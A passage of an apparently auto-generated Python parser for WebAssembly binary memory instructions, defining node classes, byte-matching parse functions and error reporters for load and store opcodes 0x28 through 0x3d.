(start_pos69, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error966(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_set' rule, at the expression:\n" ' 0x26\n\n' 'Expected to match the byte value 0x26' ) raise ParseError((title + details), _pos, line, col) class i32_load(Node): """ class i32_load { let id: 0x28 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x28 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i32_load(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_load, fullparse) def _try_i32_load(_text, _pos): # Begin Seq start_pos70 = _pos while True: # Begin Byte # 0x28 if (_pos < len(_text)) and (_text[_pos] == 40): _result = 40 _pos = (_pos + 1) _status = True else: _result = _raise_error972 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i32_load(align, offset) _result._metadata.position_info = (start_pos70, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error972(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_load' rule, at the expression:\n" ' 0x28\n\n' 'Expected to match the byte value 0x28' ) raise ParseError((title + details), _pos, line, col) class i64_load(Node): """ class i64_load { let id: 0x29 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x29 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_load(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_load, fullparse) def _try_i64_load(_text, _pos): # Begin Seq start_pos71 = _pos while True: # Begin Byte # 0x29 if (_pos < len(_text)) and (_text[_pos] == 41): _result = 41 _pos = (_pos + 1) _status = True else: _result = _raise_error980 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_load(align, offset) _result._metadata.position_info = (start_pos71, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error980(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_load' rule, at the expression:\n" ' 0x29\n\n' 'Expected to match the byte value 0x29' ) raise ParseError((title + details), _pos, line, col) class f32_load(Node): """ class f32_load { let id: 0x2a align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x2a def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'f32_load(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_load, fullparse) def _try_f32_load(_text, _pos): # Begin Seq start_pos72 = _pos while True: # Begin Byte # 0x2a if (_pos < len(_text)) and (_text[_pos] == 42): _result = 42 _pos = (_pos + 1) _status = True else: _result = _raise_error988 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = f32_load(align, offset) _result._metadata.position_info = (start_pos72, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error988(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_load' rule, at the expression:\n" ' 0x2a\n\n' 'Expected to match the byte value 0x2a' ) raise ParseError((title + details), _pos, line, col) class f64_load(Node): """ class f64_load { let id: 0x2b align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x2b def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'f64_load(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_load, fullparse) def _try_f64_load(_text, _pos): # Begin Seq start_pos73 = _pos while True: # Begin Byte # 0x2b if (_pos < len(_text)) and (_text[_pos] == 43): _result = 43 _pos = (_pos + 1) _status = True else: _result = _raise_error996 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = f64_load(align, offset) _result._metadata.position_info = (start_pos73, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error996(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_load' rule, at the expression:\n" ' 0x2b\n\n' 'Expected to match the byte value 0x2b' ) raise ParseError((title + details), _pos, line, col) class i32_load8_s(Node): """ class i32_load8_s { let id: 0x2c align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x2c def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i32_load8_s(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_load8_s, fullparse) def _try_i32_load8_s(_text, _pos): # Begin Seq start_pos74 = _pos while True: # Begin Byte # 0x2c if (_pos < len(_text)) and (_text[_pos] == 44): _result = 44 _pos = (_pos + 1) _status = True else: _result = _raise_error1004 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i32_load8_s(align, offset) _result._metadata.position_info = (start_pos74, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1004(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_load8_s' rule, at the expression:\n" ' 0x2c\n\n' 'Expected to match the byte value 0x2c' ) raise ParseError((title + details), _pos, line, col) class i32_load8_u(Node): """ class i32_load8_u { let id: 0x2d align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x2d def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i32_load8_u(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_load8_u, fullparse) def _try_i32_load8_u(_text, _pos): # Begin Seq start_pos75 = _pos while True: # Begin Byte # 0x2d if (_pos < len(_text)) and (_text[_pos] == 45): _result = 45 _pos = (_pos + 1) _status = True else: _result = _raise_error1012 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i32_load8_u(align, offset) _result._metadata.position_info = (start_pos75, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1012(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_load8_u' rule, at the expression:\n" ' 0x2d\n\n' 'Expected to match the byte value 0x2d' ) raise ParseError((title + details), _pos, line, col) class i32_load16_s(Node): """ class i32_load16_s { let id: 0x2e align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x2e def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i32_load16_s(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_load16_s, fullparse) def _try_i32_load16_s(_text, _pos): # Begin Seq start_pos76 = _pos while True: # Begin Byte # 0x2e if (_pos < len(_text)) and (_text[_pos] == 46): _result = 46 _pos = (_pos + 1) _status = True else: _result = _raise_error1020 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i32_load16_s(align, offset) _result._metadata.position_info = (start_pos76, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1020(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_load16_s' rule, at the expression:\n" ' 0x2e\n\n' 'Expected to match the byte value 0x2e' ) raise ParseError((title + details), _pos, line, col) class i32_load16_u(Node): """ class i32_load16_u { let id: 0x2f align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x2f def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i32_load16_u(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_load16_u, fullparse) def _try_i32_load16_u(_text, _pos): # Begin Seq start_pos77 = _pos while True: # Begin Byte # 0x2f if (_pos < len(_text)) and (_text[_pos] == 47): _result = 47 _pos = (_pos + 1) _status = True else: _result = _raise_error1028 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i32_load16_u(align, offset) _result._metadata.position_info = (start_pos77, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1028(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_load16_u' rule, at the expression:\n" ' 0x2f\n\n' 'Expected to match the byte value 0x2f' ) raise ParseError((title + details), _pos, line, col) class i64_load8_s(Node): """ class i64_load8_s { let id: 0x30 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x30 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_load8_s(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_load8_s, fullparse) def _try_i64_load8_s(_text, _pos): # Begin Seq start_pos78 = _pos while True: # Begin Byte # 0x30 if (_pos < len(_text)) and (_text[_pos] == 48): _result = 48 _pos = (_pos + 1) _status = True else: _result = _raise_error1036 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_load8_s(align, offset) _result._metadata.position_info = (start_pos78, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1036(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_load8_s' rule, at the expression:\n" ' 0x30\n\n' 'Expected to match the byte value 0x30' ) raise ParseError((title + details), _pos, line, col) class i64_load8_u(Node): """ class i64_load8_u { let id: 0x31 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x31 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_load8_u(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_load8_u, fullparse) def _try_i64_load8_u(_text, _pos): # Begin Seq start_pos79 = _pos while True: # Begin Byte # 0x31 if (_pos < len(_text)) and (_text[_pos] == 49): _result = 49 _pos = (_pos + 1) _status = True else: _result = _raise_error1044 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_load8_u(align, offset) _result._metadata.position_info = (start_pos79, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1044(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_load8_u' rule, at the expression:\n" ' 0x31\n\n' 'Expected to match the byte value 0x31' ) raise ParseError((title + details), _pos, line, col) class i64_load16_s(Node): """ class i64_load16_s { let id: 0x32 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x32 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_load16_s(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_load16_s, fullparse) def _try_i64_load16_s(_text, _pos): # Begin Seq start_pos80 = _pos while True: # Begin Byte # 0x32 if (_pos < len(_text)) and (_text[_pos] == 50): _result = 50 _pos = (_pos + 1) _status = True else: _result = _raise_error1052 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_load16_s(align, offset) _result._metadata.position_info = (start_pos80, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1052(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_load16_s' rule, at the expression:\n" ' 0x32\n\n' 'Expected to match the byte value 0x32' ) raise ParseError((title + details), _pos, line, col) class i64_load16_u(Node): """ class i64_load16_u { let id: 0x33 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x33 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_load16_u(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_load16_u, fullparse) def _try_i64_load16_u(_text, _pos): # Begin Seq start_pos81 = _pos while True: # Begin Byte # 0x33 if (_pos < len(_text)) and (_text[_pos] == 51): _result = 51 _pos = (_pos + 1) _status = True else: _result = _raise_error1060 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_load16_u(align, offset) _result._metadata.position_info = (start_pos81, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1060(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_load16_u' rule, at the expression:\n" ' 0x33\n\n' 'Expected to match the byte value 0x33' ) raise ParseError((title + details), _pos, line, col) class i64_load32_s(Node): """ class i64_load32_s { let id: 0x34 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x34 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_load32_s(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_load32_s, fullparse) def _try_i64_load32_s(_text, _pos): # Begin Seq start_pos82 = _pos while True: # Begin Byte # 0x34 if (_pos < len(_text)) and (_text[_pos] == 52): _result = 52 _pos = (_pos + 1) _status = True else: _result = _raise_error1068 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_load32_s(align, offset) _result._metadata.position_info = (start_pos82, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1068(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_load32_s' rule, at the expression:\n" ' 0x34\n\n' 'Expected to match the byte value 0x34' ) raise ParseError((title + details), _pos, line, col) class i64_load32_u(Node): """ class i64_load32_u { let id: 0x35 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x35 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_load32_u(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_load32_u, fullparse) def _try_i64_load32_u(_text, _pos): # Begin Seq start_pos83 = _pos while True: # Begin Byte # 0x35 if (_pos < len(_text)) and (_text[_pos] == 53): _result = 53 _pos = (_pos + 1) _status = True else: _result = _raise_error1076 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_load32_u(align, offset) _result._metadata.position_info = (start_pos83, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1076(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_load32_u' rule, at the expression:\n" ' 0x35\n\n' 'Expected to match the byte value 0x35' ) raise ParseError((title + details), _pos, line, col) class i32_store(Node): """ class i32_store { let id: 0x36 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x36 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i32_store(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_store, fullparse) def _try_i32_store(_text, _pos): # Begin Seq start_pos84 = _pos while True: # Begin Byte # 0x36 if (_pos < len(_text)) and (_text[_pos] == 54): _result = 54 _pos = (_pos + 1) _status = True else: _result = _raise_error1084 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i32_store(align, offset) _result._metadata.position_info = (start_pos84, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1084(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_store' rule, at the expression:\n" ' 0x36\n\n' 'Expected to match the byte value 0x36' ) raise ParseError((title + details), _pos, line, col) class i64_store(Node): """ class i64_store { let id: 0x37 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x37 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_store(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_store, fullparse) def _try_i64_store(_text, _pos): # Begin Seq start_pos85 = _pos while True: # Begin Byte # 0x37 if (_pos < len(_text)) and (_text[_pos] == 55): _result = 55 _pos = (_pos + 1) _status = True else: _result = _raise_error1092 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_store(align, offset) _result._metadata.position_info = (start_pos85, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1092(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_store' rule, at the expression:\n" ' 0x37\n\n' 'Expected to match the byte value 0x37' ) raise ParseError((title + details), _pos, line, col) class f32_store(Node): """ class f32_store { let id: 0x38 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x38 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'f32_store(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_store, fullparse) def _try_f32_store(_text, _pos): # Begin Seq start_pos86 = _pos while True: # Begin Byte # 0x38 if (_pos < len(_text)) and (_text[_pos] == 56): _result = 56 _pos = (_pos + 1) _status = True else: _result = _raise_error1100 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = f32_store(align, offset) _result._metadata.position_info = (start_pos86, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1100(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_store' rule, at the expression:\n" ' 0x38\n\n' 'Expected to match the byte value 0x38' ) raise ParseError((title + details), _pos, line, col) class f64_store(Node): """ class f64_store { let id: 0x39 align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x39 def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'f64_store(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_store, fullparse) def _try_f64_store(_text, _pos): # Begin Seq start_pos87 = _pos while True: # Begin Byte # 0x39 if (_pos < len(_text)) and (_text[_pos] == 57): _result = 57 _pos = (_pos + 1) _status = True else: _result = _raise_error1108 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = f64_store(align, offset) _result._metadata.position_info = (start_pos87, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1108(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_store' rule, at the expression:\n" ' 0x39\n\n' 'Expected to match the byte value 0x39' ) raise ParseError((title + details), _pos, line, col) class i32_store8(Node): """ class i32_store8 { let id: 0x3a align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x3a def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i32_store8(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_store8, fullparse) def _try_i32_store8(_text, _pos): # Begin Seq start_pos88 = _pos while True: # Begin Byte # 0x3a if (_pos < len(_text)) and (_text[_pos] == 58): _result = 58 _pos = (_pos + 1) _status = True else: _result = _raise_error1116 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i32_store8(align, offset) _result._metadata.position_info = (start_pos88, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1116(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_store8' rule, at the expression:\n" ' 0x3a\n\n' 'Expected to match the byte value 0x3a' ) raise ParseError((title + details), _pos, line, col) class i32_store16(Node): """ class i32_store16 { let id: 0x3b align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x3b def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i32_store16(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_store16, fullparse) def _try_i32_store16(_text, _pos): # Begin Seq start_pos89 = _pos while True: # Begin Byte # 0x3b if (_pos < len(_text)) and (_text[_pos] == 59): _result = 59 _pos = (_pos + 1) _status = True else: _result = _raise_error1124 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i32_store16(align, offset) _result._metadata.position_info = (start_pos89, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1124(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_store16' rule, at the expression:\n" ' 0x3b\n\n' 'Expected to match the byte value 0x3b' ) raise ParseError((title + details), _pos, line, col) class i64_store8(Node): """ class i64_store8 { let id: 0x3c align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x3c def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_store8(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_store8, fullparse) def _try_i64_store8(_text, _pos): # Begin Seq start_pos90 = _pos while True: # Begin Byte # 0x3c if (_pos < len(_text)) and (_text[_pos] == 60): _result = 60 _pos = (_pos + 1) _status = True else: _result = _raise_error1132 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_store8(align, offset) _result._metadata.position_info = (start_pos90, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1132(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_store8' rule, at the expression:\n" ' 0x3c\n\n' 'Expected to match the byte value 0x3c' ) raise ParseError((title + details), _pos, line, col) class i64_store16(Node): """ class i64_store16 { let id: 0x3d align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x3d def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_store16(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_store16, fullparse) def _try_i64_store16(_text, _pos): # Begin Seq start_pos91 = _pos while True: # Begin Byte # 0x3d if (_pos < len(_text)) and (_text[_pos] == 61): _result = 61 _pos = (_pos + 1) _status = True else: _result = _raise_error1140 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_store16(align, offset) _result._metadata.position_info = (start_pos91, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1140(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column 